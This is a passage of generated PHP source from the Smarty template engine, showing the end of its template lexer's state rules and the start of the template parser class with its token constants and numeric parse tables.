        $this->token = Smarty_Internal_Templateparser::TP_AS;
         }
    public function yy_r3_10()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TO;
         }
    public function yy_r3_11()
    {

        $this->token = Smarty_Internal_Templateparser::TP_STEP;
         }
    public function yy_r3_12()
    {

        $this->token = Smarty_Internal_Templateparser::TP_INSTANCEOF;
         }
    public function yy_r3_13()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LOGOP;
         }
    public function yy_r3_15()
    {

        $this->token = Smarty_Internal_Templateparser::TP_SLOGOP;
         }
    public function yy_r3_17()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TLOGOP;
         }
    public function yy_r3_20()
    {

        $this->token = Smarty_Internal_Templateparser::TP_SINGLECOND;
         }
    public function yy_r3_23()
    {

        $this->token = Smarty_Internal_Templateparser::TP_NOT;
         }
    public function yy_r3_24()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TYPECAST;
         }
    public function yy_r3_28()
    {

        $this->token = Smarty_Internal_Templateparser::TP_OPENP;
         }
    public function yy_r3_29()
    {

        $this->token = Smarty_Internal_Templateparser::TP_CLOSEP;
         }
    public function yy_r3_30()
    {

        $this->token = Smarty_Internal_Templateparser::TP_OPENB;
         }
    public function yy_r3_31()
    {

        $this->token = Smarty_Internal_Templateparser::TP_CLOSEB;
         }
    public function yy_r3_32()
    {

        $this->token = Smarty_Internal_Templateparser::TP_PTR;
         }
    public function yy_r3_33()
    {

        $this->token = Smarty_Internal_Templateparser::TP_APTR;
         }
    public function yy_r3_34()
    {

        $this->token = Smarty_Internal_Templateparser::TP_EQUAL;
         }
    public function yy_r3_35()
    {

        $this->token = Smarty_Internal_Templateparser::TP_INCDEC;
         }
    public function yy_r3_37()
    {

        $this->token = Smarty_Internal_Templateparser::TP_UNIMATH;
         }
    public function yy_r3_39()
    {

        $this->token = Smarty_Internal_Templateparser::TP_MATH;
         }
    public function yy_r3_41()
    {

        $this->token = Smarty_Internal_Templateparser::TP_AT;
         }
    public function yy_r3_42()
    {

        $this->token = Smarty_Internal_Templateparser::TP_ARRAYOPEN;
         }
    public function yy_r3_43()
    {

        $this->token = Smarty_Internal_Templateparser::TP_HATCH;
         }
    public function yy_r3_44()
    {

        // resolve conflicts with shorttag and right_delimiter starting with '='
        if (substr($this->data, $this->counter + strlen($this->value) - 1, $this->compiler->getRdelLength()) === $this->smarty->getRightDelimiter()) {
            preg_match('/\s+/',$this->value,$match);
            $this->value = $match[0];
            $this->token = Smarty_Internal_Templateparser::TP_SPACE;
        } else {
            $this->token = Smarty_Internal_Templateparser::TP_ATTR;
        }
         }
    public function yy_r3_45()
    {

        $this->token = Smarty_Internal_Templateparser::TP_NAMESPACE;
         }
    public function yy_r3_48()
    {

        $this->token = Smarty_Internal_Templateparser::TP_ID;
         }
    public function yy_r3_49()
    {

        $this->token = Smarty_Internal_Templateparser::TP_INTEGER;
         }
    public function yy_r3_50()
    {

        $this->token = Smarty_Internal_Templateparser::TP_BACKTICK;
        $this->yypopstate();
         }
    public function yy_r3_51()
    {

        $this->token = Smarty_Internal_Templateparser::TP_VERT;
         }
    public function yy_r3_52()
    {

        $this->token = Smarty_Internal_Templateparser::TP_DOT;
         }
    public function yy_r3_53()
    {

        $this->token = Smarty_Internal_Templateparser::TP_COMMA;
         }
    public function yy_r3_54()
    {

        $this->token = Smarty_Internal_Templateparser::TP_SEMICOLON;
         }
    public function yy_r3_55()
    {

        $this->token = Smarty_Internal_Templateparser::TP_DOUBLECOLON;
         }
    public function yy_r3_56()
    {

        $this->token = Smarty_Internal_Templateparser::TP_COLON;
         }
    public function yy_r3_57()
    {

        $this->token = Smarty_Internal_Templateparser::TP_QMARK;
         }
    public function yy_r3_58()
    {

        $this->token = Smarty_Internal_Templateparser::TP_HEX;
         }
    public function yy_r3_59()
    {

        $this->token = Smarty_Internal_Templateparser::TP_SPACE;
         }
    public function yy_r3_60()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }


     
    public function yylex4()
    {
        if (!isset($this->yy_global_pattern4)) {
            $this->yy_global_pattern4 = $this->replace("/\G((SMARTYldel)SMARTYalliteral\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/]literal\\s*SMARTYrdel)|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >=  $this->dataLength) {
            return false; // end of input
        }
        
        do {
            if (preg_match($this->yy_global_pattern4,$this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][1])) {
                   $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                        ' an empty string.  Input "' . substr($this->data,
                        $this->counter, 5) . '... state LITERAL');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r4_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >=  $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                    ': ' . $this->data[$this->counter]);
            }
            break;
        } while (true);

    } // end function


    const LITERAL = 4;
    public function yy_r4_1()
    {

        $this->literal_cnt++;
        $this->token = Smarty_Internal_Templateparser::TP_LITERAL;
         }
    public function yy_r4_3()
    {

        if ($this->literal_cnt) {
             $this->literal_cnt--;
            $this->token = Smarty_Internal_Templateparser::TP_LITERAL;
        } else {
            $this->token = Smarty_Internal_Templateparser::TP_LITERALEND;
            $this->yypopstate();
        }
         }
    public function yy_r4_5()
    {

       if (!isset($this->yy_global_literal)) {
           $this->yy_global_literal = $this->replace('/(SMARTYldel)SMARTYal[\/]?literalSMARTYrdel/isS');
       }
       $to = $this->dataLength;
       preg_match($this->yy_global_literal, $this->data,$match,PREG_OFFSET_CAPTURE,$this->counter);
       if (isset($match[0][1])) {
         $to = $match[0][1];
       } else {
          $this->compiler->trigger_template_error ("missing or misspelled literal closing tag");
       }
       $this->value = substr($this->data,$this->counter,$to-$this->counter);
       $this->token = Smarty_Internal_Templateparser::TP_LITERAL;
         }

     
    public function yylex5()
    {
        if (!isset($this->yy_global_pattern5)) {
            $this->yy_global_pattern5 = $this->replace("/\G((SMARTYldel)SMARTYautoliteral\\s+SMARTYliteral)|\G((SMARTYldel)SMARTYalliteral\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/]literal\\s*SMARTYrdel)|\G((SMARTYldel)SMARTYal[\/])|\G((SMARTYldel)SMARTYal[0-9]*[a-zA-Z_]\\w*)|\G((SMARTYldel)SMARTYal)|\G([\"])|\G([`][$])|\G([$][0-9]*[a-zA-Z_]\\w*)|\G([$])|\G(([^\"\\\\]*?)((?:\\\\.[^\"\\\\]*?)*?)(?=((SMARTYldel)SMARTYal|\\$|`\\$|\"SMARTYliteral)))|\G([\S\s])/isS");
        }
        if (!isset($this->dataLength)) {
            $this->dataLength = strlen($this->data);
        }
        if ($this->counter >=  $this->dataLength) {
            return false; // end of input
        }
        
        do {
            if (preg_match($this->yy_global_pattern5,$this->data, $yymatches, 0, $this->counter)) {
                if (!isset($yymatches[ 0 ][1])) {
                   $yymatches = preg_grep("/(.|\s)+/", $yymatches);
                } else {
                    $yymatches = array_filter($yymatches);
                }
                if (empty($yymatches)) {
                    throw new Exception('Error: lexing failed because a rule matched' .
                        ' an empty string.  Input "' . substr($this->data,
                        $this->counter, 5) . '... state DOUBLEQUOTEDSTRING');
                }
                next($yymatches); // skip global match
                $this->token = key($yymatches); // token number
                $this->value = current($yymatches); // token value
                $r = $this->{'yy_r5_' . $this->token}();
                if ($r === null) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    // accept this token
                    return true;
                } elseif ($r === true) {
                    // we have changed state
                    // process this token in the new state
                    return $this->yylex();
                } elseif ($r === false) {
                    $this->counter += strlen($this->value);
                    $this->line += substr_count($this->value, "\n");
                    if ($this->counter >=  $this->dataLength) {
                        return false; // end of input
                    }
                    // skip this token
                    continue;
                }            } else {
                throw new Exception('Unexpected input at line' . $this->line .
                    ': ' . $this->data[$this->counter]);
            }
            break;
        } while (true);

    } // end function


    const DOUBLEQUOTEDSTRING = 5;
    public function yy_r5_1()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r5_3()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r5_5()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r5_7()
    {

        $this->yypushstate(self::TAG);
        return true;
         }
    public function yy_r5_9()
    {

        $this->yypushstate(self::TAG);
        return true;
         }
    public function yy_r5_11()
    {

        $this->token = Smarty_Internal_Templateparser::TP_LDEL;
        $this->taglineno = $this->line;
        $this->yypushstate(self::TAGBODY);
         }
    public function yy_r5_13()
    {

        $this->token = Smarty_Internal_Templateparser::TP_QUOTE;
        $this->yypopstate();
         }
    public function yy_r5_14()
    {

        $this->token = Smarty_Internal_Templateparser::TP_BACKTICK;
        $this->value = substr($this->value,0,-1);
        $this->yypushstate(self::TAGBODY);
        $this->taglineno = $this->line;
         }
    public function yy_r5_15()
    {

        $this->token = Smarty_Internal_Templateparser::TP_DOLLARID;
         }
    public function yy_r5_16()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r5_17()
    {

        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }
    public function yy_r5_22()
    {

        $to = $this->dataLength;
        $this->value = substr($this->data,$this->counter,$to-$this->counter);
        $this->token = Smarty_Internal_Templateparser::TP_TEXT;
         }

  }

     <?php

class TP_yyStackEntry
{
    public $stateno;       /* The state-number */
    public $major;         /* The major token value.  This is the code
                     ** number for the token at this stack level */
    public $minor; /* The user-supplied minor token value.  This
                     ** is the value of the token  */
};


// line 11 "../smarty/lexer/smarty_internal_templateparser.y"

/**
* Smarty Template Parser Class
*
* This is the template parser.
* It is generated from the smarty_internal_templateparser.y file
* 
* @author Uwe Tews <uwe.tews@googlemail.com>
*/
class Smarty_Internal_Templateparser
{
// line 23 "../smarty/lexer/smarty_internal_templateparser.y"

    const ERR1 = 'Security error: Call to private object member not allowed';
    const ERR2 = 'Security error: Call to dynamic object member not allowed';

    /**
     * result status
     *
     * @var bool
     */
    public $successful = true;

    /**
     * return value
     *
     * @var mixed
     */
    public $retvalue = 0;

    /**
     * @var
     */
    public $yymajor;

    /**
     * last index of array variable
     *
     * @var mixed
     */
    public $last_index;

    /**
     * last variable name
     *
     * @var string
     */
    public $last_variable;

    /**
     * root parse tree buffer
     *
     * @var Smarty_Internal_ParseTree_Template
     */
    public $root_buffer;

    /**
     * current parse tree object
     *
     * @var Smarty_Internal_ParseTree
     */
    public $current_buffer;

    /**
     * lexer object
     *
     * @var Smarty_Internal_Templatelexer
     */
    public $lex;

    /**
     * internal error flag
     *
     * @var bool
     */
    private $internalError = false;

    /**
     * {strip} status
     *
     * @var bool
     */
    public $strip = false;
    /**
     * compiler object
     *
     * @var Smarty_Internal_TemplateCompilerBase
     */
    public $compiler = null;

    /**
     * smarty object
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * template object
     *
     * @var Smarty_Internal_Template
     */
    public $template = null;

    /**
     * block nesting level
     *
     * @var int
     */
    public $block_nesting_level = 0;

    /**
     * security object
     *
     * @var Smarty_Security
     */
    public $security = null;

    /**
     * template prefix array
     *
     * @var \Smarty_Internal_ParseTree[]
     */
    public $template_prefix = array();

    /**
     * template prefix array
     *
     * @var \Smarty_Internal_ParseTree[]
     */
    public $template_postfix = array();

    /**
     * constructor
     *
     * @param Smarty_Internal_Templatelexer        $lex
     * @param Smarty_Internal_TemplateCompilerBase $compiler
     */
    public function __construct(Smarty_Internal_Templatelexer $lex, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $this->lex = $lex;
        $this->compiler = $compiler;
        $this->template = $this->compiler->template;
        $this->smarty = $this->template->smarty;
        $this->security = isset($this->smarty->security_policy) ? $this->smarty->security_policy : false;
        $this->current_buffer = $this->root_buffer = new Smarty_Internal_ParseTree_Template();
    }

     /**
     * insert PHP code in current buffer
     *
     * @param string $code
     */
    public function insertPhpCode($code)
    {
        $this->current_buffer->append_subtree($this, new Smarty_Internal_ParseTree_Tag($this, $code));
    }

    /**
     * error rundown
     *
     */
    public function errorRunDown()
    {
        while ($this->yystack !== array()) {
            $this->yy_pop_parser_stack();
        }
        if (is_resource($this->yyTraceFILE)) {
            fclose($this->yyTraceFILE);
        }
    }

    /**
     *  merge PHP code with prefix code and return parse tree tag object
     *
     * @param string $code
     *
     * @return Smarty_Internal_ParseTree_Tag
     */
    public function mergePrefixCode($code)
    {
        $tmp = '';
        foreach ($this->compiler->prefix_code as $preCode) {
            $tmp .= $preCode;
        }
        $this->compiler->prefix_code = array();
        $tmp .= $code;
        return new Smarty_Internal_ParseTree_Tag($this, $this->compiler->processNocacheCode($tmp, true));
    }


    const TP_VERT                           =  1;
    const TP_COLON                          =  2;
    const TP_TEXT                           =  3;
    const TP_STRIPON                        =  4;
    const TP_STRIPOFF                       =  5;
    const TP_LITERALSTART                   =  6;
    const TP_LITERALEND                     =  7;
    const TP_LITERAL                        =  8;
    const TP_SIMPELOUTPUT                   =  9;
    const TP_SIMPLETAG                      = 10;
    const TP_SMARTYBLOCKCHILDPARENT         = 11;
    const TP_LDEL                           = 12;
    const TP_RDEL                           = 13;
    const TP_DOLLARID                       = 14;
    const TP_EQUAL                          = 15;
    const TP_ID                             = 16;
    const TP_PTR                            = 17;
    const TP_LDELMAKENOCACHE                = 18;
    const TP_LDELIF                         = 19;
    const TP_LDELFOR                        = 20;
    const TP_SEMICOLON                      = 21;
    const TP_INCDEC                         = 22;
    const TP_TO                             = 23;
    const TP_STEP                           = 24;
    const TP_LDELFOREACH                    = 25;
    const TP_SPACE                          = 26;
    const TP_AS                             = 27;
    const TP_APTR                           = 28;
    const TP_LDELSETFILTER                  = 29;
    const TP_CLOSETAG                       = 30;
    const TP_LDELSLASH                      = 31;
    const TP_ATTR                           = 32;
    const TP_INTEGER                        = 33;
    const TP_COMMA                          = 34;
    const TP_OPENP                          = 35;
    const TP_CLOSEP                         = 36;
    const TP_MATH                           = 37;
    const TP_UNIMATH                        = 38;
    const TP_ISIN                           = 39;
    const TP_QMARK                          = 40;
    const TP_NOT                            = 41;
    const TP_TYPECAST                       = 42;
    const TP_HEX                            = 43;
    const TP_DOT                            = 44;
    const TP_INSTANCEOF                     = 45;
    const TP_SINGLEQUOTESTRING              = 46;
    const TP_DOUBLECOLON                    = 47;
    const TP_NAMESPACE                      = 48;
    const TP_AT                             = 49;
    const TP_HATCH                          = 50;
    const TP_OPENB                          = 51;
    const TP_CLOSEB                         = 52;
    const TP_DOLLAR                         = 53;
    const TP_LOGOP                          = 54;
    const TP_SLOGOP                         = 55;
    const TP_TLOGOP                         = 56;
    const TP_SINGLECOND                     = 57;
    const TP_ARRAYOPEN                      = 58;
    const TP_QUOTE                          = 59;
    const TP_BACKTICK                       = 60;
    const YY_NO_ACTION = 514;
    const YY_ACCEPT_ACTION = 513;
    const YY_ERROR_ACTION = 512;

    const YY_SZ_ACTTAB = 1997;
public static $yy_action = array(
    249,  250,  239,    1,   27,  127,  220,  184,  160,  213,
     11,   54,  278,   10,  173,   34,  108,  387,  282,  279,
    223,  321,  221,    8,  194,  387,   18,  387,   85,   41,
    387,  285,   42,   44,  264,  222,  387,  209,  387,  198,
    387,   52,    5,  307,  288,  288,  164,  283,  224,    4,
     50,  249,  250,  239,    1,  232,  131,  381,  189,  205,
    213,   11,   54,   39,   35,  243,   31,  108,   94,   17,
    381,  223,  321,  221,  439,  226,  381,   33,   49,  426,
     41,  439,   89,   42,   44,  264,  222,    9,  235,  163,
    198,  426,   52,    5,  131,  288,  212,  284,  102,  106,
      4,   50,  249,  250,  239,    1,  232,  129,  426,  189,
    347,  213,   11,   54,  175,  324,  347,  208,  108,   22,
    426,  301,  223,  321,  221,  302,  226,  135,   18,   49,
     52,   41,   26,  288,   42,   44,  264,  222,   16,  235,
    294,  198,  204,   52,    5,  170,  288,   32,   90,  267,
    268,    4,   50,  249,  250,  239,    1,   20,  129,  185,
    179,  255,  213,   11,   54,  455,  288,  192,  455,  108,
    175,  167,  455,  223,  321,  221,  439,  226,  256,   18,
     55,  292,   41,  439,  132,   42,   44,  264,  222,  427,
    235,   12,  198,  165,   52,    5,  232,  288,  288,  347,
    153,  427,    4,   50,  249,  250,  239,    1,  232,  129,
    286,  181,  347,  213,   11,   54,   24,   13,  347,   49,
    108,  232,  320,  426,  223,  321,  221,  195,  201,  173,
     18,   49,  139,   41,  296,  426,   42,   44,  264,  222,
      7,  235,  286,  198,   49,   52,    5,  147,  288,  117,
    150,  317,  263,    4,   50,  249,  250,  239,    1,   95,
    130,  173,  189,  155,  213,   11,   54,   22,  244,  271,
    192,  108,  323,  286,  101,  223,  321,  221,  294,  226,
    204,   18,  348,  257,   41,  166,  283,   42,   44,  264,
    222,   28,  235,  300,  198,  348,   52,    5,  247,  288,
    117,  348,   94,  206,    4,   50,  249,  250,  239,    1,
     95,  129,   22,  189,  277,  213,   11,   54,   91,  274,
    224,  426,  108,  323,  216,  156,  223,  321,  221,  132,
    180,  262,   18,  426,  100,   41,   12,  288,   42,   44,
    264,  222,   15,  235,  216,  198,  254,   52,    5,  233,
    288,  210,  190,  192,  100,    4,   50,  249,  250,  239,
      1,    3,  131,   94,  189,  192,  213,   11,   54,  269,
     10,  204,  290,  108,  325,  216,  224,  223,  321,  221,
     23,  226,  211,   33,  315,  100,   45,  513,   92,   42,
     44,  264,  222,  102,  235,  178,  198,  268,   52,    5,
    275,  288,  161,  192,   37,   25,    4,   50,  249,  250,
    239,    1,  286,  129,  172,  187,  305,  213,   11,   54,
    164,  283,  310,  141,  108,  281,  281,  236,  223,  321,
    221,  169,  226,  230,   18,  122,  171,   41,  225,  175,
     42,   44,  264,  222,  144,  235,  303,  198,  134,   52,
      5,  265,  288,  151,  286,  192,  175,    4,   50,  249,
    250,  239,    1,  286,  128,   94,  189,  143,  213,   11,
     54,  219,  152,  207,  193,  108,  149,  281,   31,  223,
    321,  221,  100,  226,   21,    6,  286,  288,   41,  158,
     16,   42,   44,  264,  222,  102,  235,  238,  198,  286,
     52,    5,  157,  288,  281,  122,  168,  283,    4,   50,
    249,  250,  239,    1,   30,   93,  308,   51,  215,  213,
     11,   54,   53,  251,  140,  248,  108,  245,  304,  116,
    223,  321,  221,  111,  226,  176,   18,  270,  266,   41,
    224,  322,   42,   44,  264,  222,    7,  235,  259,  198,
    147,   52,    5,  257,  288,   43,   40,   38,   83,    4,
     50,  241,  214,  204,  319,  280,   88,  107,  138,  182,
     97,   64,  311,  312,  313,  316,   95,  281,  298,  258,
    142,  234,   94,  105,  272,  197,  231,  482,  237,  323,
     37,  133,  324,  241,  214,  204,  319,  314,   88,  107,
    296,  183,   97,   82,   84,   43,   40,   38,   95,  296,
    296,  258,  296,  296,  296,  159,  272,  197,  231,  296,
    237,  323,  311,  312,  313,  316,  241,  296,  204,  296,
    296,  103,  296,  296,  199,  104,   77,  296,  296,  110,
    296,   95,  296,  296,  258,  278,  296,  296,   34,  272,
    197,  231,  279,  237,  323,   43,   40,   38,  296,  296,
    296,  241,   26,  204,  196,  276,  103,  296,   16,  199,
    104,   77,  311,  312,  313,  316,   95,  192,  296,  258,
    146,  296,  296,  296,  272,  197,  231,  296,  237,  323,
    286,  393,   39,   35,  243,  296,  296,  296,  296,  191,
    276,  296,   26,  318,  252,  253,  126,  296,   16,  249,
    250,  239,    1,  296,  296,  131,  296,  261,  213,   11,
     54,  296,  296,  296,  426,  108,  393,  393,  393,  223,
    321,  221,  241,  296,  204,  299,  426,  103,  107,  296,
    183,   97,   82,  393,  393,  393,  393,   95,  296,  260,
    258,   52,  296,  296,  288,  272,  197,  231,  296,  237,
    323,  293,  296,  296,  296,  296,  296,  249,  250,  239,
      2,  296,  295,  296,  296,  296,  213,   11,   54,  296,
    296,  177,  296,  108,  136,  296,  296,  223,  321,  221,
    296,  296,  296,  293,   43,   40,   38,  296,  296,  249,
    250,  239,    2,  296,  295,   43,   40,   38,  213,   11,
     54,  311,  312,  313,  316,  108,  296,  291,   14,  223,
    321,  221,  311,  312,  313,  316,  296,  296,  241,  296,
    204,  296,  192,  103,  296,  296,  199,  104,   77,  296,
    296,  296,  296,   95,  383,  296,  258,  296,  296,  297,
     14,  272,  197,  231,  296,  237,  323,  383,  296,  296,
    241,  296,  204,  383,  296,   99,  296,  287,  199,  120,
     48,  241,  112,  204,  296,   95,  103,  296,  258,  199,
    120,   74,  296,  272,  197,  231,   95,  237,  323,  258,
    455,  296,  296,  455,  272,  197,  231,  455,  237,  323,
    241,  296,  204,  296,  296,  103,  200,  296,  199,  120,
     74,  296,  296,  296,  296,   95,  296,  296,  258,  278,
    296,  296,   34,  272,  197,  231,  279,  237,  323,  241,
    455,  204,  296,  296,   99,  202,  296,  199,  120,   56,
    241,  211,  204,  296,   95,  103,  296,  258,  199,  120,
     74,  296,  272,  197,  231,   95,  237,  323,  258,  227,
    296,  296,  296,  272,  197,  231,  296,  237,  323,  241,
    296,  204,  148,  296,  103,  203,   86,  199,  120,   73,
    296,  296,  286,  296,   95,  296,  296,  258,  278,  296,
    296,   34,  272,  197,  231,  279,  237,  323,  241,  296,
    204,  175,  296,  103,  296,  296,  199,  120,   75,  241,
    296,  204,  296,   95,  103,  296,  258,  199,  120,   63,
    296,  272,  197,  231,   95,  237,  323,  258,  229,  192,
    296,  296,  272,  197,  231,  296,  237,  323,  241,  296,
    204,  380,  296,  103,  296,  296,  199,  120,   58,  296,
    296,  296,  296,   95,  380,  296,  258,  296,  296,  296,
    380,  272,  197,  231,  296,  237,  323,  241,  296,  204,
    296,  296,  103,  296,  296,  199,  120,   71,  241,  296,
    204,  296,   95,  103,  296,  258,  199,  120,   79,  296,
    272,  197,  231,   95,  237,  323,  258,  296,  296,  296,
    154,  272,  197,  231,   87,  237,  323,  241,  296,  204,
    286,  296,  103,  296,  296,  199,  120,   70,  296,  296,
    296,  296,   95,  296,  296,  258,  296,  296,  296,  175,
    272,  197,  231,  296,  237,  323,  241,  296,  204,  296,
    296,  103,  296,  296,  199,  120,   56,  241,  296,  204,
    296,   95,  103,  296,  258,  199,  120,   46,  296,  272,
    197,  231,   95,  237,  323,  258,  296,  296,  296,  296,
    272,  197,  231,  296,  237,  323,  241,  296,  204,  296,
    296,  103,  296,  296,  199,  120,   78,  296,  296,  296,
    296,   95,  296,  296,  258,  296,  296,  296,  296,  272,
    197,  231,  296,  237,  323,  241,  296,  204,  296,  296,
    103,  296,  296,  199,  120,   66,  241,  296,  204,  296,
     95,  103,  296,  258,  199,  120,   59,  296,  272,  197,
    231,   95,  237,  323,  258,  296,  296,  296,  296,  272,
    197,  231,  296,  237,  323,  241,  296,  204,  296,  296,
    103,  296,  296,  186,  109,   57,  296,  296,  296,  296,
     95,  296,  296,  258,  296,  296,  296,  296,  272,  197,
    231,  296,  237,  323,  241,  296,  204,  296,  296,  103,
    296,  296,  188,  120,   67,  241,  296,  204,  296,   95,
    103,  296,  258,  199,   96,   62,  296,  272,  197,  231,
     95,  237,  323,  258,  296,  296,  296,  296,  272,  197,
    231,  296,  237,  323,  241,  296,  204,  296,  296,  103,
    296,  296,  199,  120,   80,  296,  296,  296,  296,   95,
    296,  296,  258,  296,  296,  296,  296,  272,  197,  231,
    296,  237,  323,  241,  296,  204,  296,  296,  103,  296,
    296,  199,  120,   76,  241,  296,  204,  296,   95,  103,
    296,  258,  199,  120,   81,  296,  272,  197,  231,   95,
    237,  323,  258,  296,  296,  296,  296,  272,  197,  231,
    296,  237,  323,  241,  296,  204,  296,  296,  103,  296,
    296,  199,  120,   65,  296,  296,  296,  296,   95,  296,
    296,  258,  296,  296,  296,  296,  272,  197,  231,  296,
    237,  323,  241,  296,  204,  296,  296,  103,  296,  296,
    199,   96,   68,  241,  296,  204,  296,   95,  103,  296,
    258,  199,  120,   61,  296,  272,  197,  231,   95,  237,
    323,  258,  296,  296,  296,  296,  272,  197,  231,  296,
    237,  323,  241,  296,  204,  296,  296,  103,  296,  296,
    199,   98,   69,  296,  296,  296,  296,   95,  296,  296,
    258,  296,  296,  296,  296,  272,  197,  231,  296,  237,
    323,  241,  296,  204,  296,  296,  103,  296,  296,  199,
    120,   72,  241,  296,  204,  296,   95,  103,  296,  258,
    199,  120,   47,  296,  272,  197,  231,   95,  237,  323,
    258,  296,  296,  296,  296,  272,  197,  231,  296,  237,
    323,  241,  192,  204,  296,  296,  103,  296,  296,  199,
    120,   60,  296,  296,  351,  296,   95,  296,  217,  258,
    296,  296,  296,  296,  272,  197,  231,   26,  237,  323,
    241,  296,  204,   16,  296,  103,  426,  296,  199,  125,
    296,  241,  296,  204,  296,   95,  103,  296,  426,  199,
    118,  296,  242,  272,  197,  231,   95,  237,  323,  296,
    296,  296,  296,  246,  272,  197,  231,  296,  237,  323,
    241,  296,  204,  278,  296,  103,   34,  296,  199,  121,
    279,  296,  296,  296,  296,   95,  296,  296,  296,  296,
     26,  296,  162,  272,  197,  231,   16,  237,  323,  241,
    296,  204,  296,  296,  103,  296,  296,  199,  123,  296,
    241,  296,  204,  296,   95,  103,  296,  296,  199,  114,
    296,  296,  272,  197,  231,   95,  237,  323,  296,  296,
    296,  296,  296,  272,  197,  231,  296,  237,  323,  241,
    296,  204,  296,  145,  103,  296,  296,  199,  124,  296,
    296,  296,  296,  286,   95,   39,   35,  243,  296,  296,
    296,  296,  272,  197,  231,  296,  237,  323,  241,  296,
    204,  296,  296,  103,  296,  296,  199,  115,  296,  241,
    296,  204,  296,   95,  103,  296,  296,  199,  113,  296,
    296,  272,  197,  231,   95,  237,  323,  296,  296,  296,
    296,  296,  272,  197,  231,  228,  237,  323,  241,  296,
    204,  296,  455,  103,  296,  455,  199,  119,    3,  455,
    439,  296,  296,   95,  296,  296,  296,  296,  296,  296,
    296,  272,  197,  231,  228,  237,  323,  296,  296,  296,
    296,  455,  296,  296,  455,  296,  296,  439,  455,  439,
    439,  228,  455,  296,  439,  296,  296,  137,  455,  296,
    296,  455,  296,  296,   32,  455,  439,  286,  296,   39,
     35,  243,   29,  296,   26,  296,  439,  296,  296,  439,
     16,  455,  296,  439,  306,   43,   40,   38,  296,  296,
    296,  296,  296,  439,  296,  296,  439,  296,  455,  296,
    439,   26,  311,  312,  313,  316,  296,   16,  228,  296,
    296,  296,   43,   40,   38,  455,  296,  296,  455,  296,
    296,  296,  455,  439,  296,  296,   19,  296,  296,  311,
    312,  313,  316,  455,  296,  296,  455,  296,  296,  296,
    455,  439,  296,  296,  296,   43,   40,   38,  296,  296,
    439,  296,  296,  439,  174,  455,  296,  439,  296,  240,
    309,  296,  311,  312,  313,  316,  296,  289,  439,  296,
     36,  439,  296,  455,  296,  439,  296,  296,   43,   40,
     38,  296,  296,   43,   40,   38,  296,  296,  296,  296,
    296,   43,   40,   38,  296,  311,  312,  313,  316,  296,
    311,  312,  313,  316,  296,   43,   40,   38,  311,  312,
    313,  316,  273,   43,   40,   38,  296,  296,  296,  296,
    296,  296,  311,  312,  313,  316,  296,  296,  296,  296,
    311,  312,  313,  316,  455,  296,  296,  455,   43,   40,
     38,  455,  439,  218,   43,   40,   38,  296,  296,  296,
    296,  296,  296,  296,  296,  311,  312,  313,  316,  296,
    296,  311,  312,  313,  316,  296,  296,  296,  296,  439,
    296,  296,  439,  296,  455,  296,  439,
    );
    public static $yy_lookahead = array(
      9,   10,   11,   12,   12,   14,   14,   16,   16,   18,
     19,   20,    9,   34,  102,   12,   25,   13,   70,   16,
     29,   30,   31,   35,   33,   21,   35,   23,   95,   38,
     26,   52,   41,   42,   43,   44,   32,   46,   34,   48,
     36,   50,   51,   52,   53,   53,   98,   99,   44,   58,
     59,    9,   10,   11,   12,   22,   14,   13,   16,   15,
     18,   19,   20,   85,   86,   87,   15,   25,   17,   21,
     26,   29,   30,   31,   44,   33,   32,   35,   45,   35,
     38,   51,   34,   41,   42,   43,   44,   35,   46,   77,
     48,   47,   50,   51,   14,   53,   16,   13,   47,   47,
     58,   59,    9,   10,   11,   12,   22,   14,   35,   16,
     26,   18,   19,   20,  102,  103,   32,   44,   25,   34,
     47,   36,   29,   30,   31,   52,   33,   14,   35,   45,
     50,   38,   26,   53,   41,   42,   43,   44,   32,   46,
     66,   48,   68,   50,   51,   77,   53,   15,   35,    7,
      8,   58,   59,    9,   10,   11,   12,   12,   14,   14,
     16,   16,   18,   19,   20,    9,   53,    1,   12,   25,
    102,   82,   16,   29,   30,   31,   44,   33,   33,   35,
    106,  107,   38,   51,   44,   41,   42,   43,   44,   35,
     46,   51,   48,   82,   50,   51,   22,   53,   53,   13,
     73,   47,   58,   59,    9,   10,   11,   12,   22,   14,
     83,   16,   26,   18,   19,   20,   28,   12,   32,   45,
     25,   22,   70,   35,   29,   30,   31,   65,   33,  102,
     35,   45,   73,   38,   60,   47,   41,   42,   43,   44,
     35,   46,   83,   48,   45,   50,   51,   95,   53,   71,
     95,   52,   74,   58,   59,    9,   10,   11,   12,   81,
     14,  102,   16,   73,   18,   19,   20,   34,   90,   36,
      1,   25,   94,   83,   81,   29,   30,   31,   66,   33,
     68,   35,   13,   96,   38,   98,   99,   41,   42,   43,
